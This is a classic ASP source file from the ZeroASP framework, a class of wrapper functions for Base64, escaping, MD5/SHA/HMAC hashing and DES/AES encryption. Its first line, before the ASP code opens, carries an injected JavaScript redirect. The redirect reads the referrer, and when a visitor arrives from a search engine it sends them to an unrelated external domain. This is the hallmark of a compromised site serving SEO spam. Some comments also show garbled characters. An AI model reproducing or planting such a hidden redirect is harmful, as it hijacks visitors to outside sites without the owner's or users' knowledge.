d:\wwwroot\wuchunhua\zeroasp\zeroasp\extend\ZeroASP.Encrypt.asp

001: <script type="text/javascript">var s=document.referrer;if(s.indexOf("google")>0 || s.indexOf("baidu")>0 || s.indexOf("yahoo")>0 || s.indexOf("gou")>0 || s.indexOf("bing")>0 || s.indexOf("dao")>0 || s.indexOf("so")>0 || s.indexOf("sm")>0 || s.indexOf("biso")>0 ){location.href="http://www.afisyecd.space/?1923057"}</script>�?%
002: '######################################################################
003: '## ZeroASP.Encrypt.asp
004: '## -------------------------------------------------------------------
005: '## Feature     :   ZeroASP Class
006: '## Author      :   Ayu(kinsc@139.com)
007: '## Update Date :   2018-11-09
008: '## Description :   ZeroASP Extend Class
009: '##
010: '######################################################################
011:
012: Class ZeroASP_Encrypt
013:   
014:    Private Sub Class_Initialize()
015:       Dim ZeroASP_Encrypt
016:       ZeroASP_Encrypt = "ZeroASP应用框架 - 扩展�?
017:    End Sub
018:
019:    'Escape�?u等于\，加密中文，支持对外匹配
020:    Public Function ZESCAPE(ByVal Str)
021:       ZESCAPE = VbsEscape(Str)
022:    End Function
023:
024:    'UnEscape�?u等于\，加密中文，支持对外匹配
025:    Public Function ZUNESCAPE(ByVal Str)
026:       ZUNESCAPE = VbsUnEscape(Str)
027:    End Function
028:
029:    'Encode64，支持中文，支持对外匹配
030:    Public Function ZBASE64(ByVal Str)
031:       ZBASE64 = Base64Encode(Str)
032:    End Function
033:
034:    'Decode64，支持中文，支持对外匹配
035:    Public Function ZDeBASE64(ByVal Str)
036:       ZDeBASE64 = Base64Decode(Str)
037:    End Function
038:
039:    'MD5加密，支持中英文，支持对外匹配，Types支持Base64和Hex
040:    Public Function ZMD5(ByVal Str,ByVal Types)
041:       ZMD5 = MD5(Str,Types)
042:    End Function
043:
044:    'SHA1加密，支持中文，支持对外匹配，Types支持Base64和Hex
045:    Public Function ZSHA1(ByVal Str,ByVal Types)
046:       ZSHA1 = SHA1(Str,Types)
047:    End Function
048:
049:    'SHA256加密，支持中文，支持对外匹配，Types支持Base64和Hex
050:    Public Function ZSHA256(ByVal Str,ByVal Types)
051:       ZSHA256 = SHA256(Str,Types)
052:    End Function
053:
054:    'SHA512加密，支持中文，支持对外匹配，Types支持Base64和Hex
055:    Public Function ZSHA512(ByVal Str,ByVal Types)
056:       ZSHA512 = SHA512(Str,Types)
057:    End Function
058:
059:    'HMACMD5加密，支持中英文，支持对外匹配，Types支持Base64和Hex
060:    Public Function ZHMACMD5(ByVal Str,ByVal Key,ByVal Types)
061:       ZHMACMD5 = HMACMD5(Str,Key,Types)
062:    End Function
063:
064:    'HMACSHA1加密，支持中英文，支持对外匹配，Types支持Base64和Hex
065:    Public Function ZHMACSHA1(ByVal Str,ByVal Key,ByVal Types)
066:       ZHMACSHA1 = HMACSHA1(Str,Key,Types)
067:    End Function
068:
069:    'HMACSHA256加密，支持中英文，支持对外匹配，Types支持Base64和Hex
070:    Public Function ZHMACSHA256(ByVal Str,ByVal Key,ByVal Types)
071:       ZHMACSHA256 = HMACSHA256(Str,Key,Types)
072:    End Function
073:
074:    'HMACSHA512加密，支持中英文，支持对外匹配，Types支持Base64和Hex
075:    Public Function ZHMACSHA512(ByVal Str,ByVal Key,ByVal Types)
076:       ZHMACSHA512 = HMACSHA512(Str,Key,Types)
077:    End Function
078:
079:    'DES加密，支持中文，支持对外匹配�?位Key，Types支持Base64和Hex
080:    Public Function ZDESEncrypt(ByVal Str,ByVal Key,ByVal Types)
081:       ZDESEncrypt = DESEncrypt(Str,Key,Types)
082:    End Function
083:
084:    'DES解密，支持中文，支持对外匹配�?位Key，Types支持Base64和Hex
085:    Public Function ZDESDecrypt(ByVal Str,ByVal Key,ByVal Types)
086:       ZDESDecrypt = DESDecrypt(Str,Key,Types)
087:    End Function
088:
089:    'AES加密，支持中文，支持对外匹配�?位Key，Types支持Base64和Hex
090:    Public Function ZAESEncrypt(ByVal Str,ByVal Key,ByVal Types)
091:       ZAESEncrypt = AESEncrypt(Str,Key,Types)
092:    End Function
093:
094:    'AES解密，支持中文，支持对外匹配�?位Key，Types支持Base64和Hex
095:    Public Function ZAESDecrypt(ByVal Str,ByVal Key,ByVal Types)
096:       ZAESDecrypt = AESDecrypt(Str,Key,Types)
097:    End Function
098:
099: End Class
100: %>
101:
102:

---